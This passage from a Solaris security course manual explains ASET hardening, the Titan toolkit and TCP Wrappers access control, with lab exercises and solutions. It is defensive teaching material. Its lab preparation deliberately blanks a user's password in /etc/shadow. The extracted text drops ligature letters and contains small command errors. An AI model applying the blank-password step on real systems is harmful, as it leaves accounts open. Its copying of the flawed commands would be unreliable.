same name as the tasks shown in Table 14-2 on page 14-28. You can
modify the scripts to customize the actions of the task.
ASET behavior is controlled by the /usr/aset/asetenv script. You can
modify this script to customize which ASET tasks should be run (if they
are not all required). The rewall setup task, for example, disables the
forwarding of IP packets and hides routing information from the external
network. If you want to run ASET at high security but do not need
rewall protection, comment out that task from the /usr/aset/asetenv
le.
Restoring the System
Within the aset directory there is a restore script called:
# /usr/aset/aset.restore
Running this script restores the system back to the state it was in before
the aset command was run. Each task script has a corresponding
.restore script which undoes the actions of the task script.
Monitoring Task Status
Depending on the size and speed of a system and your chosen level of
security, it might take some time for ASET to complete its tasks and issue
the reports. The aset program is usually run late at night when the host
system is idle.
When running ASET interactively, monitor the progress of the checks to
make sure that they have completed before attempting to interpret the
data from the reports. To monitor the checks, use the taskstat command.
In Code 14-4, the output from the taskstat command indicates that the
ASET checks are not complete.
Code 14-4 The taskstat Command
1 # /usr/aset/util/taskstat
2 Checking ASET tasks status ...
3 Task firewall is done.
4 Task env is done.
5 Task sysconf is done
6 Task usrgrp is done.
7 The following tasks are done:
8 firewall
9 env
10 sysconf
11 usrgrp
12 The following tasks are not done:
13 tune
14 cklist
15 eeprom
The taskstat information is stored in the taskstatus le in the
directory where the reports are stored.
Running ASET Periodically
Although you can run ASET interactively, it is usually more effective to
run ASET periodically from the cron utility. If you schedule ASET this
way, it can report on possible security problems introduced during a
normal work day.
To add an ASET entry to the root crontab le, use the -p option in
addition to the required security level. By default, ASET runs every night
at midnight.
The command shown in Code 14-5 runs ASET on a periodic basis using
the highest level of security.
Code 14-5 Running ASET Periodically
1 # /usr/aset/aset -p -l high
2 /usr/aset/aset -p -l high
3 ======= ASET Execution Log =======
4 ASET running at security level high
5 Machine = wallace; Current time = 0601_23:30
6 aset: Using /usr/aset as working directory
7 ASET execution scheduled through cron.
Change the PERIODIC_SCHEDULE environment variable in the
/usr/aset/asetenv le to control the frequency of when ASET runs. The
format of this variable mirrors the format of the scheduling information in
crontab. The default entry in the asetenv le is:
# grep PERIODIC /usr/aset/asetenv
PERIODIC_SCHEDULE="0 0 * * *"
To change the frequency of when ASET is run, edit this line in the
asetenv le to a new value and run the aset program with the -p option
again. This updates that crontab le. Alternatively, you can edit the root
crontab le using:
# crontab -e
Interpreting ASET Reports
Each of the seven tasks that the aset command performs creates a report
le specic to that task. Each le ends with .rpt. When you run ASET, a
new directory is created under the /usr/aset/reports directory. The
directory named is a timestamp of when ASET was run. Each report
subdirectory name has the following format:
MMdd_hh:mm
where MM, dd, hh, and mm are all two-digit numbers representing the report
month, day, hour, and minute. For example:
1024_02:00
For convenience, a link directory called latest points to the last directory
established by ASET.
You can view each of the seven task report les individually for details.
Code 14-6 shows the contents of one of these report les.
Code 14-6 Example ASET Report
1 # more /usr/aset/report/latest/usrgrp.rpt
2 *** Begin User And Group Checking ***
3 Checking /etc/passwd ...
4 Checking /etc/shadow ...
5 Warning! Shadow file, line 1, no password:
6 alice::6445::::::
7 ... end user check.
8 Checking /etc/group ...
9 ... end group check.
10 *** End User And Group Checking ***
The security level you select and the health of the system determine the
size and content of the report les. You should review each of them and
decide whether adjustments should be made.
Confirming Security Improvements Using the aset
Command
If you decide that adjustments to the system are required, make them and
then run the aset command again to ensure that the reports change.
For example, even at the low level of security, you should not use a umask
setting of 022 in the /etc/profile le. When you install ASET, the env
task reports that this default setting in the /etc/profile should be
changed. When you change the umask from 022 to 027 in /etc/profile,
you tighten security. When the env task is run again, the env.rpt le no
longer reports the problem.
Interpreting and Configuring the tune.* Files
The tune.rpt task, which checks le ownership and permissions, is
congured from the les in the /usr/aset/masters directory. For each
level of security, there is a corresponding tune le: tune.low, tune.med,
and tune.high.
If you do not like the default settings of the tune les, you can make
adjustments to the appropriate tune les and run the tune task again to
gain extra control of le permissions. Code 14-7 shows various entries
from the tune.low le.
Code 14-7 The tune.low File
1 # more /usr/aset/masters/tune.low
2 # Tune list for level low
3 # Format:
4 # pathname mode owner group type
5 / 02755 root root directory
6 /bin 00777 root bin symlink
7 /sbin 02775 root sys directory
8 /usr/sbin 02775 root bin directory
9 /etc 02755 root sys directory
10 /etc/chroot 00777 bin bin symlink
11 /etc/clri 00777 bin bin symlink
12 /etc/crash 00777 root sys symlink
13 /etc/cron 00777 root sys symlink
14 /etc/fsck 00777 bin bin symlink
15 /etc/fuser 00777 bin bin symlink
16 /etc/halt 00777 bin bin symlink
17 /etc/link 00777 root bin symlink
18 /etc/mknod 00777 bin bin symlink
19 /etc/mount 00777 bin bin symlink
20 /etc/mnttab 00644 root root file
21 /etc/vfstab 00664 root sys file
22 /etc/passwd 00644 root sys file
23 /etc/shadow 00400 root sys file
24 /etc/nsswitch.conf 00644 root sys file
25 /etc/resolve.conf 00644 root sys file
The ve elds on each line in the tune les are:
G The absolute path name of the le, directory, or symbolic link You
can use regular shell, wildcard characters in the path name for
multiple references.
G The octal representation of the le mode as 5 digits representing le
type (always 0), SUID, SGID, sticky bit execution modes, and rwx for
user, group, and others. If the current setting is already more
restrictive than the specied value, ASET does not loosen the
permission settings. For example, if mode is 00777, the permission
does not change, because it is always less restrictive than the current
setting.
G The user associated with the le This must be a name rather than
the numeric UID.
G The group associated with the le This must be a name rather than
the numeric GID.
G The le type This value can be symlink for a symbolic link,
directory for a directory, and file for all other le types.
Exercise: Hardening the System
In this module you complete the following tasks:
G Install and congure Titan
G Use Titan to report the security weaknesses on your system
G Create a custom Titan conguration
G Use ASET to run interactively in the low-security mode
G Congure ASET to run periodically
Preparation
Using a text editor such as vi, edit the /etc/shadow le and set the
password for user alice to be blank.
Tasks
In the rst of these exercises, you install and congure Titan, and then use
Titan to report on security weaknesses on your system. Next you create a
custom Titan conguration to check and update your system. Finally, you
congure and use ASET to harden your system.
instructor.
Task Installing and Configuring Titan
To set up Titan:
1. Obtain the latest version of Titan from the download site listed in the
Additional Resources on page 14-3. To speed up the practical
exercise, a copy of the download le (Titan,v4_0ALPHA-9.tar) is
included in the /usr/local/pkg directory.
Extract the contents of this archive into the /usr/local directory.
It creates a subdirectory called Titan,v4.0ALPHA-9.
2. Read the documentation for Titan but do not follow the instructions
yet. The documentation is in the docs/txt subdirectory. There are
also HTML documents for reading with a browser such as Netscape
in the docs/html subdirectory. Begin with the Tutorial-short le:
# cd /usr/local/Titan,v4.0ALPHA-9
# cd docs/txt
# more Tutorial-short
3. Congure Titan for your operating system by entering the following
commands:
# ./Titan-Config
4. Enter y (yes) when asked to make backups of the les Titan
modies, as shown below:
Titan can backup all of the files it modifies; This is recommended
NOTE: in the process of backing up files /etc/shadow as well as other
important files will be backed up. It is IMPORTANT that you keep this
backup SAFE, or delete it after you are sure Titan didn't do something
unwanted
proceed? y/n: y
The installation is now complete. Titan installs a le called Titan in
the titan directory which is congured for the version of Solaris OE
that you are running.
Task Using Titan to Report on Security Problems
Run Titan to get a security report for your system.
Task Creating and Running a Titan Configuration
To set up Titan:
1. Study the sample conguration le sample.Desktop in the Titan
conguration directory.
2. Follow the format of the sample le and create a conguration le
which veries the following (you can refer to the notes for the Titan
modules you need to use):
a. Ensure that the root user owns all les in directories in the root
search path.
b. Stop the sendmail program from running.
c. Create a standard /etc/issue message le.
d. Stop the telnet command from displaying the workstation
information.
3. Run Titan with this conguration to verify whether the faults exist or
not.
4. Create a similar conguration to x the faults identied in step 2.
5. Run Titan to apply this conguration to your system. You must
reboot your workstation to apply the sendmail change.
6. Verify that the changes have been made.
Task Running ASET Interactively
To set up ASET:
1. Run the aset command using the low security option. The aset
command should take only a minute or two to run.
2. Wait until the tasks are complete by monitoring ASET with the
taskstat command.
3. View the ASET reports and rectify the problems identied in the
reports to make your system more secure. Verify that the changes are
correct by re-running ASET.
4. Restore the system to its original state prior to running ASET.
Task Configuring ASET Periodically
In this exercise you congure the system to run the ASET utility
periodically. But before doing so, you must customize one of the task
scripts. This requires some basic programming skills.
Normally, the aset command should be run late at night when the system
load is light. For this exercise you congure aset to run a few minutes
after the time you begin this exercise.
1. Note the time of day by running the desktop clock tool or running
the date command on the command line.
2. Update the PERIODIC_SCHEDULE variable denition in the
/usr/aset/asetenv le to run ASET ve minutes from now.
Schedule ASET to run periodically.
3. Check the reports produced by ASET.
4. Restore the system to its original state prior to running ASET.
Exercise Summary
Exercise Summary
?
!
G Experiences
G Interpretations
G Conclusions
G Applications
Exercise Solutions
Exercise Solutions
Installing and Configuring Titan
There are no solutions to this task.
Using Titan to Report on Security Problems
Run Titan to get a security report for your system.
Run Titan in verify mode and save the output to a le. For example:
# ./Titan -v >/tmp/titan.log
# more /tmp/titan.log
Creating and Running a Titan Configuration
1. Study the sample conguration le sample.Desktop in the titan
conguration directory.
# more sample.Desktop
2. Follow the format of the sample le and create a conguration le
which xes the following (you can refer to the notes for the Titan
modules you need to use):
a. Ensure that the root user owns all les in directories in the
root search path. Stop the sendmail program from running.
b. Create a standard /etc/issue message le.
c. Stop the telnet program from displaying the workstation
information.
# vi verify.conf
rootchk.sh -v
nuke-sendmail.sh -v
create-issue.sh -v
telnet-banner.sh -v
Exercise Solutions
3. Run Titan with this conguration to verify whether the faults exist.
# ./Titan -c verify.conf
Run Titan with this conguration, and observe the FAILS CHECK
messages that indicate that the Titan changes have not been applied.
4. Create a similar conguration to x the faults identied in Step 2.
# vi fix.conf
rootchk.sh -f
nuke-sendmail.sh -f
create-issue.sh -f
telnet-banner.sh -f
5. Run Titan to apply this conguration to your system. You must
reboot your workstation to apply the sendmail change.
# ./Titan -c fix.conf
# init 6
6. Verify that the changes have been made.
a. Check the le permissions of directories such as /usr/bin and
/usr/sbin.
# ls -al /usr/bin /usr/sbin | more
b. Try to use the telnet command to connect to port 25, and
verify that the connection is refused.
# telnet localhost 25
Trying ::1...
telnet: connect to address ::1: Connection refused
Trying 127.0.0.1...
telnet: Unable to connect to remote host: Connection refused
c. Use the telnet command to connect to your system, and verify
that the output does not identify the host system and includes
the standard message in the /etc/issue le.
1 # telnet localhost
2 Trying ::1...
3 Connected to localhost.
4 Escape character is '^]'.
Exercise Solutions
5 ########################################################################
6 # This system is for the use of authorized users only. #
7 # Individuals using this computer system without authority, or in #
8 # excess of their authority, are subject to having all of their #
9 # activities on this system monitored and recorded by system #
10 # personnel. #
11
12 # In the course of monitoring individuals improperly using this #
13 # system, or in the course of system maintenance, the activities #
14 # of authorized users may also be monitored. #
15
16 # Anyone using this system expressly consents to such monitoring #
17 # and is advised that if such monitoring reveals possible #
18 # evidence of criminal activity, system personnel may provide the #
19 # evidence of such monitoring to law enforcement officials. #
20 #######################################################################
21 login:
d. Run Titan again with the verify conguration, and observe the
PASSES CHECK messages that indicate that the Titan changes
have been applied.
# ./Titan -c verify.conf
Running ASET Interactively
1. Run the aset command using the low security option. The aset
command should take only a minute or two to run.
# /usr/aset/aset -l low
ASET running at security level low
Executing task list ...
firewall
env
sysconf
usrgrp
tune
cklist
eeprom
All tasks executed. Some background tasks may still be running.
Exercise Solutions
2. Wait until the tasks are complete by monitoring ASET with the
taskstat command:
# /usr/aset/util/taskstat
Checking ASET tasks status ...
Task firewall is done.
Task env is done.
Task sysconf is done.
Task usrgrp is done.
Task tune is done.
Task cklist is done.
Task eeprom is done.
The following tasks are done:
firewall
env
sysconf
usrgrp
tune
cklist
eeprom
All tasks have completed.
3. View the ASET reports, and rectify the problems identied in the
reports to make your system more secure.
# cd /usr/aset/reports/latest
# cat env.rpt
*** Begin Environment Check ***
Warning! umask set to umask 022 in /etc/profile -not
recommended.
*** End Environment Check ***
# cat usrgrp.rpt
*** Begin User And Group Checking ***
Checking /etc/passwd ...
Checking /etc/shadow ...
Warning! Shadow file, line 12, no password:
fred::10379::::::
... end user check.
Checking /etc/group ...
... end group check.
*** End User And Group Checking ***
Exercise Solutions
The les indicate that /etc/profile must have the umask command
changed, and that there is no password for user fred in the
/etc/shadow le. Make the changes to the les that were noted in
the previous step.
Verify that the changes are correct by running ASET again:
# /usr/aset/aset -l low
# cat env.rpt
...
# cat usrgrp.rpt
4. Restore the system to its original state prior to running ASET:
# /usr/aset/aset.restore
aset.restore: beginning restoration ...
Executing /usr/aset/tasks/firewall.restore
.....................
Resetting security level from low to null.
aset.restore: restoration completed.
Configuring ASET Periodically
1. Note the time of day by running the desktop clock tool or running
the date command on the command line:
# date
Tue May 6 10:12:32 MDT 2001
2. Update the PERIODIC_SCHEDULE variable denition in the
/usr/aset/asetenv le to run ASET ve minutes from now:
# vi /usr/aset/asetenv
PERIODIC_SCHEDULE="17 10 * * *"
Schedule ASET to run periodically:
# /usr/aset/aset -p -l low
ASET running at security level low
ASET execution scheduled through cron.
Exercise Solutions
3. Check the reports produced by ASET:
Note If you run the taskstat command too soon, you get the report for
the last run of ASET. You must wait for the cron utility to schedule the
new ASET report.
Checking ASET tasks status ...
Task firewall is done.
Task env is done.
Task sysconf is done.
Task usrgrp is done.
Task tune is done.
Task cklist is done.
Task eeprom is done.
The following tasks are done:
firewall
env
sysconf
usrgrp
tune
cklist
eeprom
All tasks have completed.
# cd /usr/aset/reports/latest
# more *.rpt
4. Restore the system to its original state prior to running ASET:
1 # /usr/aset/aset.restore
2 aset.restore: beginning restoration ...
3
4 Executing /usr/aset/tasks/firewall.restore
5
6 ..................
7 usrgrp.restore completed.
8
9 Descheduling ASET from crontab file...
10 The following is the ASET schedule entry to be
11 deleted:
12 17 10 * * * /usr/aset/aset -l med -d /usr/aset
13 Proceed to deschedule: (y/n) y
Exercise Solutions
14
15 Resetting security level from med to null.
16
17 aset.restore: restoration completed.
15-1
Module 15
AuthenticatingNetworkServices
Objectives
G Explain how to authenticate network clients
G Install and congure Transmission Control Protocol (TCP) Wrappers
G Monitor the use of telnet, le transfer protocol (FTP), and other
utilities with TCP Wrappers
G Use TCP Wrappers to control network access to the system
Relevance
Relevance
?
!
authentication of network connections:
G Can you restrict access to your network to authorized clients only?
G Can you log all network accesses?
G Can you send immediate warnings (using pagers or other
mechanisms) when an invalid client attempts to access a network
service?
Authenticating Network Services 15-3
Additional resources The following references can provide additional
details on the topics discussed in this module:
G Online manual pages for hosts_access(5), inetd.conf(4), and
syslog.conf(4)
G TCP Wrappers ported to Solaris OE 2.x;
Understanding Network Authentication
TCP/IP is controlled on the Solaris OE by a complex system of daemons.
These daemons have developed over many years and provide a robust
and powerful way to congure network services. The services are
powerful and it is easy to make a mistake in conguration, or to forget to
congure a service.
Most network services have minimal or no authentication. The telnet
and FTP services only require a valid user name and password, whereas
Anonymous FTP and the Finger daemon allow access to any client.
Logging is practically non-existent for most network services.
When considering security, these authentication and logging weaknesses
are a major problem with the default UNIX network services. You need
logging to establish a good audit trail when tracking break-ins and
attempted break-ins. You also need some form of client authentication and
access control. Many sites would like to run an Anonymous FTP service
for their own users (remote and local) but deny access to all other clients.
Consider how useful it would be to only allow Anonymous FTP for clients
in your own domain (sun.com for example).
From an administrative point of view, if auditing and host access control
could be applied in a logical and consistent manner, then network security
could be greatly improved.
The solution is to install TCP Wrappers.
Using TCP Wrappers
Using TCP Wrappers
TCP Wrappers (tcpd) are small daemon programs that wrap around the
standard network daemons. You can install them without changing
existing network software programs. The Wrappers report the name of the
client host and the requested service using the Syslog program.
TCP Wrappers do not exchange information with the client or server
applications. A small initialization overhead is required to authenticate the
host and log the connection, but Wrappers impose no overhead on the
communications between the client and server applications.
TCP Wrappers functionality includes transparent logging for TCP-based
network daemons including tftp, exec, ftp, telnet, rlogin, rsh, and
finger. TCP Wrappers provide a level of security above those of the basic
operating environment.
Note TCP Wrappers do not provide full security against unwelcome
visitors. A further level of security is provided by IP ltering and
rewalls.
Using TCP Wrappers
TCP Wrappers surround the service daemon with another program called
tcpd which logs the incoming request and optionally provides access
control, allowing or denying the connection depending on where the
request originates from.
The /etc/inetd.conf conguration le is changed so that the inetd
program starts the wrapped version of each network daemon. For
example, to service an incoming FTP connection, /usr/sbin/tcpd is
started instead of /usr/sbin/in.ftpd. If tcpd allows the incoming
request, it starts the in.ftpd program; if it denies the incoming request, it
logs the attempt, but otherwise ignores the request.
Note The TCP Wrappers package was written by Wietse Venema and
was formerly called log_tcp. Some sites still list it by that name.
Using TCP Wrappers
Obtaining and Installing TCP Wrappers
TCP Wrapper can be obtained in two forms:
G As an SVR4 package from http://www.sunfreeware.com.
G As a standard tar package which can be compiled for most UNIX
platforms including Linux.
TCP Wrappers can be downloaded from most archive sites on the Web
including ftp://playground.sun.com/pub/casper.
The SVR4 package installs TCP Wrappers in the /usr/local directory,
putting the tcpd program in the /usr/local/sbin directory and the
manual pages in the /usr/local/man/man* directory. Additional
documentation is installed in the /usr/local/docs/tcp_wrappers
directory.
Configuring TCP Wrappers
Conguring TCP Wrappers
TCP Wrappers can be congured in one of two ways:
G Hidden This involves replacing the network service daemons. This
method might sound appealing, but it places an extra load on the
administrator when you update the operating system. TCP Wrappers
must be recongured after performing an upgrade or applying
patches.
G Visible This involves changing the /etc/inetd.conf le. This
approach is less secure than the hidden method because the
/etc/inetd.conf le can be viewed by any user. However, this
method is often preferred because you only need to change one le.
Note The general recommendation is to leave the daemons where they
are and change the /etc/inetd.conf le. It is easier to maintain one le
during patch installation or software upgrades than to locate and move
several programs.
Installing Hidden TCP Wrappers
Congure hidden TCP Wrappers by moving the standard network
programs to a predetermined directory and replacing them with the tcpd
program.
To congure FTP to use TCP Wrappers, do the following:
# mkdir /usr/save
# mv /usr/sbin/in.ftpd /usr/save
# cp tcpd /usr/sbin/in.ftpd
The directory that stores the real network programs is compiled into the
TCP Wrappers programs and is set to the /usr/sbin directory for the
SVR4 package. However, this conguration means that the hidden
conguration cannot be used with this package because the saved
programs and the tcpd program must reside in the same directory.
To use the hidden conguration, obtain the TCP Wrappers source les
and build TCP Wrappers specifying an alternate directory (for example
/usr/save). Full instructions are included in the online tcpd(1M) manual
page and the Makefile shipped with TCP Wrappers.
Installing Visible TCP Wrappers
Congure visible TCP Wrappers by updating the service entry in
/etc/inetd.conf to use the tcpd program. The name of the real
program is specied as the rst command line parameter. The actual
network server program must be in the search path used by tcpd. The
Solaris OE default search path includes the /usr/sbin directory, where
all the network server programs are installed.
To congure FTP to use visible TCP Wrappers replace this inetd.conf
line:
ftp stream tcp6 nowait root /usr/sbin/in.ftpd in.ftpd
with:
ftp stream tcp nowait root /usr/local/sbin/tcpd in.ftpd
Besides changing the executable program, the conguration also removes
the support TCP/IP version 6. At the present time, TCP Wrappers are not
compatible with the Solaris OE support for TCP/IP v6.
Checking TCP Wrappers Configuration
TCP Wrappers include a check program called tcpdchk which validates
the TCP Wrapper installation.
The tcpdchk program examines the access control les (see Conguring
Host Access Control on page 15-16, and validates the entries in these les
against entries in the network conguration les. The tcpdchk program
reports problems, such as non-existent path names, services not controlled
by tcpd that appear in access control les, services that should not be
wrapped, non-existent host names, or non-Internet address forms.
To get a comprehensive report, run the program with the following
options:
# tcpdchk -av
To check an individual host for access to a specic service use the
tcpdmatch command (host access control is described in Conguring
Host Access Control on page 15-16).
# tcpdmatch in.ftpd grommit
warning: in.ftpd: service possibly not wrapped
client: hostname grommit
client: address 192.168.0.1
server: process in.ftpd
access: granted
Configuring Client Access Logging
Conguring Client Access Logging
TCP Wrappers log all network services to the Syslog program. Logging
uses the mail facility and generates the following message levels:
G info Messages for successful network connections
G warning Messages for denied network access
G error Messages for incorrect conguration les
Configuring Client Access Logging
Congure the syslogd.conf le to log TCP Wrapper messages, as shown
in Code 15-1.
Code 15-1 Conguring the syslogd.conf le
# grep mail /etc/syslogd.conf
*.err;kern.notice;auth.notice;mail.warning /dev/sysmsg
mail.info;mail.warning /var/adm/network.log
The following example is the log of a successful client connection:
May 25 11:10:08 wallace in.telnetd[931]: [ID 927837 mail.info] connect
from grommit
Configuring Host Access Control
Conguring Host Access Control
Solaris OE provides a standard mechanism for host access control. It uses
the /etc/hosts.allow and /etc/hosts.deny les to set access control
rules. Host access does not read entire les; when a matching entry is
found, the rule is applied and no additional rules are taken into account.
TCP Wrappers review the les in the following order:
1. /etc/hosts.allow An entry here grants client access.
2. /etc/hosts.deny An entry here denies client access.
3. If the les are empty or do not exist, access is allowed.
The default access control allows all hosts to have access to all services.
Note Any host not explicitly mentioned, or covered by an implicit rule,
is allowed.
TCP Wrappers use the Solaris OE host access control mechanism to
authorize remote host access to network services.
Access File Format
Each access le consists of one or more lines with the following
colon-separated elds:
service : client : options
where:
G service The name of the service to allowed or block, or the value
ALL for all services. Specify multiple services in a comma-separated
list.
G client The host name, IP address, network address or domain
name of the clients to allow or block. Specify multiple clients in a
comma-separated list or use the keyword ALL for all clients.
G A client name beginning with a dot (.) is assumed to be a
partial domain name (for example .sun.com) and refers to all
hosts in that domain or subdomain.
G A client name ending with a dot is assumed to be a network
address (for example 192.168.0.) and refers to all hosts on that
subnet.
G As a safeguard against client address spoong, TCP Wrappers
validate host names and addresses using a DNS server and
reject clients if a discrepancy is found.
G options Allow the denition of banners (see Using Banners With
TCP Wrappers on page 15-19) and the spawning of commands (see
Using TCP Wrappers to Spawn Commands on page 15-25).
Code 15-2 sets a default to explicitly deny all hosts access to all services.
Code 15-2 Example hosts.deny File Entry
# more /etc/hosts.deny
ALL: ALL
Your hosts.deny le should always contain the entry in Code 15-2 as the
very last line.
Code 15-3 shows an allow le example.
Code 15-3 Example hosts.allow File Entry
# more /etc/hosts.allow
in.ftpd: 192.168.1., 192.168.2.
in.telnetd, in.rlogind: wallace, grommit, sean
Code 15-3 allows all hosts on subnets 192.168.1 and 192.168.2 to use FTP
and hosts wallace, grommit, and sean to use the telnet and rlogin
commands.
The following is a sample of log le entry where a client system was
denied access:
May 25 11:09:45 wallace in.telnetd[915]: [ID 947420 mail.warning] refused
connect from 192.168.99.1
Using Banners With TCP Wrappers
Banners allow you to display notication messages to clients before they
log in to a system or when they are denied service. You can congure
banner messages as options for any entry in the hosts.allow and
hosts.deny les.
The banner option format is:
:banners message_directory
where the message_directory is a directory containing one le for each
type of service for which banner is specied. Each le name has the same
name as the service with which it is used. Code 15-4 shows an example
banner conguration.
Code 15-4 Banner Conguration
# more /etc/hosts.deny
ALL: ALL: banners /etc/tcpd.deny
# ls /etc/tcpd.deny
in.ftpd in.telnetd
# more /etc/tcpd.deny/in.ftpd
220 Sorry but you are not authorized to use this FTP service.
An unauthorized client trying to use FTP or telnet services receives the
banner message, while authorized clients receive the FTP or telnet
service. Clients denied access to other services do not see any output and
their connection is refused.
Building Banner Files
Some network services such as FTP require that the banner messages be
in a special format (FTP messages must start with 220). To simplify the
creation of banner messages, the TCP Wrappers package includes a
Banners.makefile which creates suitable servicespecic banners from a
template message le called prototype.
The Banners.makefile command is included in the TCP Wrappers
installation directory. If the SVR4 package from the Sun Freeware site is
used, this le is installed in the /usr/local/doc/tcp_wrappers
directory. Copy the make le to the banners message directory, rename it
Makefile, create the prototype message le, and run the make command
as shown in Code 15-5.
Code 15-5 Building Banner Files
# mkdir /etc/tcpd.deny
# cd /etc/tcpd.deny
# cp /usr/local/doc/tcp_wrappers/Banners.Makefile makefile
# cat >prototype
Service unavailable
# make
Customizing a Banner Message
You can customize the text in the banner message les using the following
substitution codes:
G %a Clients IP address (for example 192.168.1.1)
G %c Clients canonical host name (for example wallace.sun.com)
G %d Servers daemon (for example in.ftpd)
G %h Clients host name (for example wallace)
G %n Clients name (for example wallace)
G %p Process ID (for example 2134)
G %s Server daemon and host name (for example in.ftpd@grommit)
G %u Client user (for example alice)
G %A Servers IP address (for example 192.102.1.93)
G %H Servers host name (for example grommit)
G %N Server name (for example grommit)
G %% A percent sign
Code 15-6 shows an example of the text le using substitution codes.
Code 15-6 Using Banner Substitution Codes
# cat /etc/tcpd.deny/in.telnetd
Warning! You have attempted to connect to a secure system
from %a, also known as %h (username %u). Your attempt has been logged.
The le in Code 15-6 expands to produce the output shown in Code 15-7.
Code 15-7 Banner File Output
# telnet wallace
Trying 192.168.1.1...
Connected to wallace.
Escape character is "^]".
Warning! You have attempted to connect to a secure system
from penguin, also known as penguin (username unknown). Your attempt has
been logged.
Using Banners Without TCP Wrappers
Using Banners Without TCP Wrappers
You do not have to use TCP Wrappers just for producing banners. Most
interactive network services allow a BANNER option in their default
conguration les, as follows:
G Banner for FTP:
# more /etc/default/ftpd
BANNER="This is a secure host!"
G Banner for telnet:
# more /etc/default/telnetd
BANNER="\nWARNING!\nUnauthorized access will be prosecuted!\n"
G Banner for telnet, rlogin, and other logins:
# more /etc/issue
This host is monitored at all times. Violations may result in
disciplinary action.
Using TCP Wrappers to Spawn Commands
You can run commands and scripts in the same way as banners. Use
commands to send a page or email a message when a client connects or
attempts to connect.
The spawn option format is:
:spawn command
where command is any UNIX command, including pipelines and I/O
redirection. Execute the command line with the Bourne shell (/bin/sh),
and you can use the same percent letter substitution as the banner option
(see Customizing a Banner Message on page 15-22).
Note The default path for the tcpd daemon is
PATH=/usr/bin:/usr/sbin. Use absolute path names for commands not
in these directories.
If the system has a command called pager in the /usr/local/bin
directory which reads a message from standard input and sends the
message to the pager number on the command line, you could set up a
general intruder alert, as shown in Code 15-8.
Code 15-8 Setting Up an Intruder Alert
# cat /etc/hosts.deny
ALL :ALL :spawn echo "intruder %h(%a) detected at `date`" |
/usr/local/bin/pager 123 876 5432
If you need both banner and spawn options, include them in any order on
the line in the hosts.* le. For example, if you want to track online
whether a particular client used the telnet command, add a line like the
following to the hosts.allow le:
in.telnetd: penguin: banners /etc/tcpd.allow: spawn echo "%h has
connected" | write root
Checking Host Access Configuration
Checking Host Access Conguration
The tcpdmatch command performs conguration checks by checking the
access control les and demonstrating the behavior. Use this command to
perform error checking before you deploy the TCP Wrappers.
The syntax for the tcpdmatch command is:
tcpdmatch service host
where:
G service is the service name such as in.telnetd
G host is the client host name or IP address
Checking Host Access Configuration
Code 15-9 shows an example.
Code 15-9 Using the tcpdmatch Command
# tcpdmatch in.telnetd grommit
server: process in.telnetd
access: allowed
Exercise: Authenticating Network Services
G Install TCP Wrappers
G Enable logging for telnet connections
G Congure TCP Wrappers to deny telnet access to specic hosts
G Congure TCP Wrappers to warn of denied telnet access
G Congure TCP Wrappers to deny access to all hosts except those
specied
Preparation
There is no specic preparation needed for these exercises.
Tasks
instructor. However, ensure that you remove all host access control les as
described in Removing Host Access Control on page 15-36 to ensure
that host access control does not affect future module exercises.
Task Installing TCP Wrappers
In this task, you install the TCP Wrappers executable tcpd program:
1. Download the TCP Wrappers package from the Sun Freeware Web
site. A copy has already been downloaded and saved in the
2. Install this SVR4 package using the pkgadd command.
Task Enabling Logging for telnet Connections
In this task, you congure TCP Wrappers to log network connections for
telnet:
1. Congure your telnet service to use visible TCP Wrappers (modify
the /etc/inetd.conf le). TCP Wrappers do not support
TCP/IPv6, so you must change the service type from tcp6 to tcp.
2. Enable logging for this service to the Syslog command.
Task Denying Access to Specific Hosts
In this task, you congure the host access control feature of Solaris OE so
that TCP Wrappers can deny telnet access to specic hosts:
1. Modify your TCP Wrappers conguration so that your workstation
is denied access to its own telnet service.
2. Send a banner to the telnet client indicating that access is denied.
3. Check your conguration using the tcpdmatch command.
Task Configuring TCP Wrappers to Warn of Denied
telnet Access
Enhance your TCP Wrappers conguration to use the write command to
send a message to the root user whenever an attempt to use the telnet
command is denied (include the client IP address and host name in the
message).
Task Configuring TCP Wrappers to Deny Access to
All Hosts Except Those Specified
In this task, you create a secure host access control conguration which
denies access to all hosts except those explicitly specied in the
conguration les:
1. Congure your system so that all systems other than your
workstation and the instructors workstation are denied access to the
telnet service.
2. Remove all access controls for network services on your system.
Task Removing Host Access Control
In this task, remove your host access les to prevent host access control
from interfering with future module exercises.
Exercise Summary
Exercise Summary
?
!
G Experiences
G Interpretations
G Conclusions
G Applications
Exercise Solutions
Exercise Solutions
Installing TCP Wrappers
1. Download the TCP Wrappers package from the Sun Freeware Web
site. A copy has already been downloaded and saved in the
2. Install this SVR4 package using the pkgadd command.
# cd /usr/local/pkg
# pkgadd -d tcp_wrappers-7.6-sol8-sparc-local
Enabling Logging for telnet Connections
1. Congure your telnet service to use visible TCP Wrappers (modify
the /etc/inetd.conf le). TCP Wrappers do not support TCP/IPv6
so you must change the service type from tcp6 to tcp:
a. Edit the /etc/inetd.conf le and comment out the telnet
line:
#telnet stream tcp6 nowait root /usr/sbin/in.telnetd in.telnetd
b. Type a new telnet entry which uses the tcpd program in the
/usr/local/sbin directory and does not include support for
TCP/IPv6:
telnet stream tcp nowait root /usr/local/sbin/tcpd in.telnetd
c. Identify the PID for the inetd command and send the hang-up
signal to get it to read the conguration le again:
# ps -ef | grep inetd
...
# kill -HUP inetd
2. Enable logging for this service to the Syslog utility:
a. Update the /etc/syslog.conf le so that it logs all mail
messages to the sc300log le.
Exercise Solutions
# vi /etc/syslog.conf
mail.info /var/adm/sc300log
b. Send the hang up signal to the syslogd command to get it to
read the new conguration:
# ps -ef | grep syslogd
...
# kill -HUP syslogd
c. Test your changes by running the telnet command from a
shell window to connect back to your system:
# telnet localhost
Denying Access to Specific Hosts
1. Modify your TCP Wrappers conguration so that your workstation
is denied access to its own telnet service:
a. Identify your host name using:
# hostname
b. Create the /etc/hosts.deny le and add the following line to
this le to block your own workstation:
in.telnetd: hostname
c. Check the conguration with:
# tcpdmatch in.telnetd wallace
client: hostname wallce
access: denied
d. Test your changes by running the telnet command from a
shell window to connect back to your system. You should
receive your banner message rather than a telnet session:
# telnet localhost
2. Send a banner to the telnet client indicating that access is denied:
a. Edit the /etc/hosts.deny le and change the entry for your
workstation to:
Exercise Solutions
in.telnetd: hostname: banners /etc/tcpd.deny
b. Create a new directory called /etc/tcpd.deny:
# mkdir /etc/tcpd.deny
c. Create a banner le for the telnet service and enter a suitable
service denied message:
# cat >/etc/tcpd.deny/in.telnetd
Go away %h you are not allowed access to this service
^D
d. Test your changes by running the telnet command from a
shell window to connect back to your system. You should
receive your banner message rather than a telnet session:
# telnet localhost
